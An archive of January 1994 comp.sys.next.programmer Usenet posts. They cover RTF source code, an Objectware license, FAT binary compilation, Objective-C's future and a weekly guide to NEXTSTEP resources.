NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: RTF source code is evil Message-ID: <1994Jan24.071345.1734@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <BROWN.94Jan23123309@grettir.quorum.com> <2huq23$bv1@senator-bedfellow.MIT.EDU> Date: Mon, 24 Jan 1994 07:13:45 GMT In article <2huq23$bv1@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: >>In article <BROWN.94Jan23123309@grettir.quorum.com> brown@quorum.com (Robert E. Brown) writes: >>>RTF source code is the most brain-dead feature Next has released in recent >>>memory. In fact, it's pretty close to my worse nightmare as a programmer. I >>>really can't imagine why so many people are willing to defend Next's decision >>>here, since RTF source is clearly a quick hack to achieve a result that's >>>better accomplished in other ways. RTF source is a Microsoft-like move -- >>>give people what they think they want, instead of what they need, while >>>locking them into a proprietary solution. >> < stuff deleted>> >>"Intelligent" formatting, as many have suggested, might work for C-code, >>but what if Fortran, Obj-C, C++, Lisp, etc, is being displayed? Would the >>editor need to be able to distinguish between the different types of code >>in order to format it properly? I don't know if this would be difficult >>to implement or not. This is why there is lisp-mode, fortran-mode, fortran90-mode, objective-c-mode, etc, in emacs. The more I think about it, the more I think rtf code is a bad idea. My only caveat is wanting to embed pictures in the source, but why couldn't you have little HTFML (or whatever mosaic/WWW's document pointer language called) in comments that pointed to where the pictures were... Yea, time would be better spent putting a C-mode (with some sort of a Preference panel) in Edit. Hell, why not build a "mode bundle" api for Edit that allows you to have a language mode. You have to provide some known set of objects conforming to a language-mode protocol, and provide a .nib with a preference panel/inspector for it. This, I think, would be a much better, more OO solution... Bryan, are you listening? :> -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: lparkyn@corpit.cantel.rogers.com (Lyle Parkyn) Newsgroups: comp.sys.next.programmer Subject: Re: Objectware License Agreements Date: 22 Jan 1994 23:09:09 GMT Organization: Rogers Communications Distribution: NA Message-ID: <2hsbml$dln@mail.Rogers.Com> References: <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> In article <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: :I'm about to release some Objectware to the net and would appreciate :feedback on the license I'm intending to include. The license is unique :in that it tries to make the code free for noncommercial usage, but :costing dollars for commercial use. Any and all comments are welcome. : I am really starting to like this idea. The other night while flipping through the Objectware catalogue I saw a number of interesting objects i'd like to take for a spin, but not when they cost $500+. I don't have a need for them now but they sound useful and I'd like to try them out so I'd know what they're about. Someone has to be first Scott, give it a try. Is there a legal info type new group that you could use to get a quick, inexpensive(free) legal opinion on your license agreement? Maybe just to find out if you're missing major points or way off base. -- Lyle D. Parkyn (416)250-4810 lparkyn@corpit.cantel.rogers.com NeXT Mail welcome Opinions expressed are my own.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 24 Jan 1994 10:19:25 -0000 Organization: me organized? That's a joke! Message-ID: <2i07bd$tc@steffi.demon.co.uk> References: <2huuka$iqu@usenet.rpi.edu> <1994Jan24.000112.2205@gleap.sccsi.com> To play the devils advocate here I think this sums up the importance of RTF support in source code. Which I am no longer using as _I_ personally find it a kludge and it's detracts my attention from the code itself. About 1 month ago I created a mailing list for this RTFusers@steffi.demon.co.uk since then only _one_ single message has gone thru this list and there are eighty three subscribers, including NeXT themselves on this list. I find it rather interesting that nobody has said anything thru this list. I think NeXT will have correctly interpreted this as sign of the significant importance of this feature and who and why people are using it. I'm not complaining and sendmail isn't bahaving itself anyway and traffic for 80 members means 80 transactions to my host's SNMP server instead of a 1 so my machine probably couldn't handle the traffic anyway. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: brouwer@mickey.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: NXBrowser and arrow keys Message-ID: <1994Jan24.115320.24865@ifi.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany Date: Mon, 24 Jan 1994 11:53:20 GMT Hello! My problem is, that the browsers action message is only send if the user types <up-arrow> or <down-arrow>. Is there any way for the target or delegate to get notified when <left- arrow> or <right-arrow> are used? Thanks in advance, Klaus Brouwer
From: lparkyn@corpit.cantel.rogers.com (Lyle Parkyn) Newsgroups: comp.sys.next.programmer Subject: Re: Objectware License Agreements Date: 23 Jan 1994 20:23:50 GMT Organization: Rogers Communications Distribution: NA Message-ID: <2humcm$l5d@mail.Rogers.Com> References: <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> Just one question about the example you provided. In the section on COMMERCIAL LICENSE > 1. If the code is directly producing revenue that you can > document, you can pay a fixed 5% royalty on all revenues, up until you > have completely paid off the amount indicated by the second plan, which > is: > > 2. Payment is $1000 for up to five developers at your site using > the objects. Additional seats can be purchased on a decreasing > exponential scale. For n>5 developers, the cost is given by, > > $1000 + $9000 * (1 - exp(-0.02 (n - 5))) > > Here are some representative numbers: > > Seats Total Cost > > 6 $ 1178 > 10 $ 1856 > 20 $ 3333 > 80 $ 7992 > 160 $ 9595 > 500+ $10000 > Is $1000 the price for your particular Objectware offering? (I assume it is) Also, is the %5 royalty for your particular Objectware offering? (I assume it isn't) 5% is a reasonable cut if the developer is only using 1 or 2 Objectware offerings. It could be too much if say 5 or 10 Objectware offerings were used in the product. That's 25-50% of revenue! Re: #2 in COMMERCIAL LICENSE is this intended to also cover: - a commerical product developer who wants to make changes to an Objectware offering that they don't want to distribute? - a company who wants to use an Objectware offering for in-house projects that won't be sold? This is likely to be the case as more corporations start developing their mission critical applications(MCA)(Is 1994 the year for NeXTSTEP?). They tend to want to do these as quick as possible and would rather buy than bake their own objects, especially if they've contracted out to someone to do the development. A good set of objects is worth a small fortune to them if it lets them get their MCA up and running fast. Guess that was more than one question. ------------------------ Lyle D. Parkyn (416)250-4810 lparkyn@corpit.cantel.rogers.com NeXT Mail welcome Opinions expressed are my own.
Newsgroups: comp.sys.next.programmer From: jeff_devries@taligent.com (Jeff de Vries) Subject: Driver for Adaptec 6360 chipset ? Message-ID: <jeff_devries-230194161347@jeff-devries.taligent.com> Followup-To: comp.sys.next.programmer Sender: usenet@taligent.com (More Bytes Than You Can Read) Organization: Taligent Date: Mon, 24 Jan 1994 00:14:41 GMT Does anyone know of a SCSI driver for the Adaptec 6360 chipset for NeXTStep Intel ? -- Jeff de Vries -- jeff_devries@taligent.com Ooit'n Normaal Mens Ontmoet? En..., Bevielt?
Newsgroups: comp.sys.next.programmer From: K.Morton@bradford.ac.uk (K MORTON) Subject: DSP soundcards!!! (product info wanted) Message-ID: <1994Jan24.150733.8381@bradford.ac.uk> Organization: University of Bradford, UK Date: Mon, 24 Jan 1994 15:07:33 GMT hi all, i'm looking for a pc soundcard with a user programmable dsp onboard. the orchid card and the media magic thing both have analog devices dsp's on em' but do the respective companies give out info about port addresses and internal DAC/ADC mappings on the DSP?? orchid are usally as tight as a gnats chuff when it comes to tech info so i'm tempted to rule those guys out from the word GO. stereo DAC/ADC (16bit >=40khz) is essential because the card would be used for studio quality sampling and reproduction! any info would be greatly appreciated! Karl k.morton@brad.ac.uk p.s. i would prefer a motorolla dsp (56xxx)
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan24.160933.3033@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <1469@rtbrain.rightbrain.com> Date: Mon, 24 Jan 1994 16:09:33 GMT In article <1469@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) writes: > files. Something really simple like > > //Include <pathname> > > would do it. It's not terribly different from the \import directive This is neat, but we've brought in one of the most horrible concepts of PostScript! * COMMENTS THAT MEAN SOMETHING * :-)'s throughout please, - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 24 Jan 1994 17:04:35 GMT Organization: University of Maryland College Park Message-ID: <2i0v33$1kd@cville-srv.wam.umd.edu> References: <2huuka$iqu@usenet.rpi.edu> <1994Jan24.000112.2205@gleap.sccsi.com> <2i07bd$tc@steffi.demon.co.uk> Robert Nicholson (robert@steffi.demon.co.uk) wrote: : To play the devils advocate here I think this sums up the importance : of RTF support in source code. Which I am no longer using as _I_ : personally find it a kludge and it's detracts my attention from the : code itself. : About 1 month ago I created a mailing list for this : RTFusers@steffi.demon.co.uk : since then only _one_ single message has gone thru this list and there : are eighty three subscribers, including NeXT themselves on this list. : I find it rather interesting that nobody has said anything thru this : list. I think NeXT will have correctly interpreted this as sign of : the significant importance of this feature and who and why people are using it. : I'm not complaining and sendmail isn't bahaving itself anyway and : traffic for 80 members means 80 transactions to my host's SNMP server : instead of a 1 so my machine probably couldn't handle the traffic : anyway. I tried several times to subscribe to this list and kept getting bounced back. Maybe the reason for the low traffic is because of other problems rather than a lack of interest. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
From: me@ienext.unl.edu (Dan Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 24 Jan 1994 17:52:49 GMT Organization: University of Nebraska--Lincoln Message-ID: <2i11th$1m7@crcnis1.unl.edu> References: <1994Jan24.160933.3033@sifon.cc.mcgill.ca> I have just read through a bunch of postings in this interesting thread and got the following idea: Why not have a *program* `dictionary' associated with a program. Instead of putting RTF in the code one could (for example) select a variable name in the code then got to Services and select "Program Dict." (or something like that). Then a la Websters a window pops up which contains any information that you may have decided to write about that particular variable. Pictures can also pop up, of course. Comments in the source code *could* simply be `named' and the names could be looked up in the program dictionary, (though in most cases I would think it best to leave your basic comments in the actual code). If this idea were combined with the automatically formatting editor which has been suggested then I think that you could get the benefits of straight ASCII and nice formatting without losing the ability to use pictures or other RTF features if those are really necessary. Any links that you might want to place can be made in the dictionary entry rather than in the code itself. This might seem a bit indirect, but I would guess that it could be very easy to use. By the way, this would also provide a handy way to access basic language information e.g. what is the precise syntax of a `for' command, or what `includes' are required for a particular function... Hmmm, come to think of it couldn't this all be done right now with Digital Librarian? Does DL handle RTF code with embedded links? Does this idea make any sense? -------------------------------------------------------------------------- Dan Scott me@ienext.unl.edu NeXT mail welcome --------------------------------------------------------------------------
From: maurices@spock.dis.cccd.edu (Maurice Shihadi) Newsgroups: comp.sys.next.programmer Subject: Running SLIP with ns 3.2 Black at 9600baud. Date: 24 Jan 1994 10:43:10 -0800 Organization: Coast Community College District, Costa Mesa, CA Message-ID: <2i14ru$p27@spock.dis.cccd.edu> Our facility has recently acquired a Dr BonD box with 9600 baud access and I need to connect a NeXTstation from another location to it. I would like to download or purchase all necessary software to make this happen painlessly if possible. Could you all help me out by sending me suggestions, referrals, or supplementary documentation? Sincerely, maurices Maurice Shihadi
From: jirapa@nextover.pe.utexas.edu Newsgroups: comp.sys.next.programmer Subject: Is Objective - C a dead language ? Date: 24 Jan 1994 19:21:22 GMT Organization: The University of Texas at Austin, Austin, Texas Distribution: usa Message-ID: <2i173i$h65@geraldo.cc.utexas.edu> Hi, I had heard something blasphemous in my C++ class. The instructor said that objective-C is a dead language. Can anybody contribute to this comment? Is it true or false or partly true? and why? Jirapa
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 24 Jan 1994 15:32:36 -0500 Organization: Next Announcements Message-ID: <2i1b94$ba7@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c Subject: Re: Is Objective - C a dead language ? Date: 24 Jan 1994 20:44:46 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2i1bvu$12n@steffi.demon.co.uk> References: <2i173i$h65@geraldo.cc.utexas.edu> jirapa@nextover.pe.utexas.edu wrote >Hi, > >I had heard something blasphemous in my C++ class. The instructor said that >objective-C is a dead language. Can anybody contribute to this comment? Is it >true or false or partly true? and why? > >Jirapa Well it certainly isn't on this platform (NeXT) and if we are to believe what OpenStep means I find it pretty hard to believe that it's going to be dead when PA-RISC and OpenStep releases become available. Objective-C is definately not a "dead" language it's just that so many C++ programmers who use to be C programmers believe that C++ is the be all and end all of Object-Oriented Programming. Most C++ programmers are completely ignorant of the existence of Objective-C and _choose_ to believe that C++ is the only solution. IMHO: One isn't really that marketable skillset wise if they only know Objective-C and choose to work in non-NeXT environments. The most popular language is C++ but not for good reason. Just because a language is a standard doesn't necessarily make it the most appropriate language for the task. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: FAT troubles continue (HELP!!) Message-ID: <1994Jan24.210400.13518@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Mon, 24 Jan 1994 21:04:00 GMT I have been striving vainly to get NeXT's cc to produce FAT or MAB files, under NS 3.2 for some time. Believe it or not, I thought I was doing the correct things to compile into a FAT binary but it continues to elude me. I have been able to compile FAT files using NeXT apps and the Project Builder. That is the extent of my luck, however. When I try to compile a non-NeXTSTEP app, such as elm, tin, Lynx, or whatever, it compiles only for the specific architecture compiled on, even though a lipo -info seems to show I have the required FAT library files, and even though I am adding -arch i386 -arch m68k to the CFLAGS in every makefile. I can compile a file on my Intel computer and Black hardware (separately) and then use the lipo -create to combine the files into a FAT file. But I cannot get it to COMPILE that way either via the unix command line or through the Project Builder, unless it is a NeXT App. I feel like this is a cosmic joke, but I also understand I MUST be doing something incorrect. Must be, right? I get the feeling something in the linking process is missing, I have read all the docs, which are VERY SKETCHY, to say the least, and I wonder if this problem will ever be rectified. I know people are making FAT files and figure with the Developer kit installed this should be possible for me, also. What am I doing wrong? What has to be done to get the FAT files to compile and LINK into a single FAT binary. If anyone can help, I would be so grateful I will leave the list alone for a long while :-), promise :-) Hmmm ... I never thought I would be pursuing FAT so hard! :-) Regards- Joe -- | Joe Rosenfeld cowboy@trans.csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: cowboy@omega.csuohio.edu (Joe Rosenfeld) Subject: FAT files--what IS the secret? Message-ID: <1994Jan24.202916.12118@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Mon, 24 Jan 1994 20:29:16 GMT I have been striving vainly to get NeXT's cc to produce FAT or MAB files, under NS 3.2 for some time. Believe it or not, I thought I was doing the correct things to compile into a FAT binary but it continues to elude me. I have been able to compile FAT files using NeXT apps and the Project Builder. That is the extent of my luck, however. When I try to compile a non-NeXTSTEP app, such as elm, tin, Lynx, or whatever, it compiles only for the specific architecture compiled on, even though a lipo -info seems to show I have the required FAT library files, and even though I am adding -arch i386 -arch m68k to the CFLAGS in every makefile. I can compile a file on my Intel computer and Black hardware (separately) and then use the lipo -create to combine the files into a FAT file. But I cannot get it to COMPILE that way either via the unix command line or through the Project Builder, unless it is a NeXT App. I feel like this is a cosmic joke, but I also understand I MUST be doing something incorrect. Must be, right? I get the feeling something in the linking process is missing, I have read all the docs, which are VERY SKETCHY, to say the least, and I wonder if this problem will ever be rectified. I know people are making FAT files and figure with the Developer kit installed this should be possible for me, also. What am I doing wrong? What has to be done to get the FAT files to compile and LINK into a single FAT binary. If anyone can help, I would be so grateful I will leave the list alone for a long while :-), promise :-) Hmmm ... I never thought I would be pursuing FAT so hard! :-) Regards- Joe -- | Joe Rosenfeld j.rosenfeld@csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: cowboy@omega.csuohio.edu (Joe Rosenfeld) Subject: FAT troubles continue (HELP!!) Message-ID: <1994Jan24.205428.13145@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Mon, 24 Jan 1994 20:54:28 GMT I have been striving vainly to get NeXT's cc to produce FAT or MAB files, under NS 3.2 for some time. Believe it or not, I thought I was doing the correct things to compile into a FAT binary but it continues to elude me. I have been able to compile FAT files using NeXT apps and the Project Builder. That is the extent of my luck, however. When I try to compile a non-NeXTSTEP app, such as elm, tin, Lynx, or whatever, it compiles only for the specific architecture compiled on, even though a lipo -info seems to show I have the required FAT library files, and even though I am adding -arch i386 -arch m68k to the CFLAGS in every makefile. I can compile a file on my Intel computer and Black hardware (separately) and then use the lipo -create to combine the files into a FAT file. But I cannot get it to COMPILE that way either via the unix command line or through the Project Builder, unless it is a NeXT App. I feel like this is a cosmic joke, but I also understand I MUST be doing something incorrect. Must be, right? I get the feeling something in the linking process is missing, I have read all the docs, which are VERY SKETCHY, to say the least, and I wonder if this problem will ever be rectified. I know people are making FAT files and figure with the Developer kit installed this should be possible for me, also. What am I doing wrong? What has to be done to get the FAT files to compile and LINK into a single FAT binary. If anyone can help, I would be so grateful I will leave the list alone for a long while :-), promise :-) Hmmm ... I never thought I would be pursuing FAT so hard! :-) Regards- Joe -- | Joe Rosenfeld j.rosenfeld@csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Is it just me or... Message-ID: <1994Jan24.211153.25100@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University Date: Mon, 24 Jan 1994 21:11:53 GMT I seem to recall being able to print out arrays of strings in gdb using the print command in <=3.1. ie. char * array[] = { "first", "second", "third", 0 }; could be output via 'print array'. Now, gdb tells me something about the variable not being a pointer or integer. Did I just invent the old feature in my head? I don't have a copy of 3.1 around that I can double check this again. Someone let me know so I can book some vacation time in the case that I'm hallucinating up old features. ;-) - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
From: griffid@flash_heart (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 24 Jan 1994 11:47:27 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2i0cgf$a8r@gpo.gb.swissbank.com> References: <CJtGE2.844@research.canon.oz.au> In article <CJtGE2.844@research.canon.oz.au> greyham@research.canon.oz.au (Graham Stoney) writes: > samurai@amber.hasc.ca (Darcy Brockbank) writes: > >NeXT ... don't > >let you customize the environment, or the presentation of your > >interface at all (compared to X interfaces of course). > > And I can't tell you how thankful I am for it; the thing I hate most about X, > above all else is the rediculous amount of time you have to waste setting it > up, configuring it, customizing it etc etc. Whenever I have to use an X system > (which is as little as I can possibly help), I always seem to have to edit some > obscure .rc file, alter some menu, etc etc, and if you're not a guru, you're > behind the 8 ball to start with. You're mixing up two things here. One is the desirability of customization per se, and the other is the way it has been implemented under X. Just because it's a pain under X doesn't mean that customization itself is bad. The interface to customization needs to be improved, that's all. Imagine if your "environment" was defined by some folder you could put on a floppy disk. You sit down at a new machine and just drag the icon from the floppy onto Preferences (say), and hey presto, configuration complete. Dave Griffiths
Newsgroups: comp.sys.next.programmer From: cowboy@trans (Joe Rosenfeld) Subject: Re: FAT files--what IS the secret? Message-ID: <1994Jan24.214522.15046@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1994Jan24.202916.12118@news.csuohio.edu> Date: Mon, 24 Jan 1994 21:45:22 GMT sorry for the double post--it looked like our news server was not accepting posts (it took 30 minutes of holding and a Control-Z to figure this out). I think I got the answer-- You can compile using a non-Project Builder makefile with Project Builder's "Open Makefile" command. This passes "RC_CFLAGS" and "RC_ARCHS" as arguments to make. You need to make sure that both your CFLAGS and LDFLAGS include $(RC_CFLAGS). matt. NeXT Computer, Inc. This does the trick. Thanks a lot for the help everyone! -- | Joe Rosenfeld cowboy@trans.csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: cowboy@trans (Joe Rosenfeld) Subject: Re: FAT troubles continue (HELP!!) Message-ID: <1994Jan24.215526.15547@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1994Jan24.205428.13145@news.csuohio.edu> Date: Mon, 24 Jan 1994 21:55:26 GMT Sorry for the multiple postings--our Usenet server went mad. Please see previous posting for an explanation of what I was able to figure out about what I was doing (wrong) and thanks for all who helped. -- | Joe Rosenfeld cowboy@trans.csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Re: Fax (and now RTF) Message-ID: <1994Jan24.190020.6029@planon.qc.ca> Sender: yanik@planon.qc.ca References: <1994Jan23.233512.1672@planon.qc.ca> Date: Mon, 24 Jan 1994 19:00:20 GMT In article <1994Jan23.233512.1672@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: > I am locking for a way to usr the NeXT to send Faxes. The software I want to write will > be used to be used by the .forward file in the user's home. When the user receive mail > (OK just plain vanilla unix mail) I want to send the message to a given fax machine. > > - faxPSCode:sender > toList:(const char *const *)names > numberList:(const char *const *)numbers > sendAt:(time_t)when > wantsCover:(BOOL)cFlag > wantsNotify:(BOOL)nFlag > wantsHires:(BOOL)hFlag > faxName:(const char *)aString; > > can not be used. That method is part of appkit (View and Window classes) and I want my > program to work without windowServer (the .forward system requires that). > > I have been sucessfull to send postScript files using the unix lpr tool. However, there > is no way to set the Fax number. Enscript would be a good way to investigate but once > again it has no provision to let the user indicate which Fax number the printout is > intended to. > > If someone has an idea, let me know. > > Yanik > -- > Yanik Crepeau > Programmer > Planon Telexpertise > E-Mail: yanik@planon.qc.ca (NeXT) I wish to thank Hal Varian <hal@alfred.econ.lsa.umich.edu> for his help. He gave me a script that does the work very well. OK, now I would like to have something that 1) Take a RTF file and 2) enscript it (create a PostScript file). As you should know, NeXTMail use uudecode, zcat and tar to extract data from a NeXTMail message. That process create a directory with a .rft file inside. I wish to use a .forward mecanism to FAX the content of the .rtf file to a given recipient. Once again, the all process should not involve any call to the Window Server nor use Appkit methods. I have now in hand a script that handle text files, enscript them and fax them. I just want to add the .rtf capability to the process. If someone has an idea, let me know. Yanik -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
